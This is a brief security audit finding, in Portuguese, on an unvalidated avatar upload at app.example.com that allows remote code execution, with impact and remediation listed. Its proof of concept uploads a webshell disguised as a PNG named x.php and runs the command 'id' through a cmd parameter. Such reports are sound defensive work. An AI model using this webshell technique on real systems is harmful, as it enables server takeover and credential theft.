Upload sem validação leva a RCE
- Ativo
- app.example.com — /perfil/avatar
- Impacto
- Execução remota de código no servidor de aplicação; acesso ao banco e a credenciais de outros serviços.
- Correção
- Validar tipo real do arquivo, servir fora do webroot e remover permissão de execução.
# envia um webshell disfarçado de imagem POST /perfil/avatar HTTP/2 Content-Type: image/png; name="x.php" HTTP/2 200 OK # e então, no servidor: GET /uploads/x.php?cmd=id → uid=33(www-data)

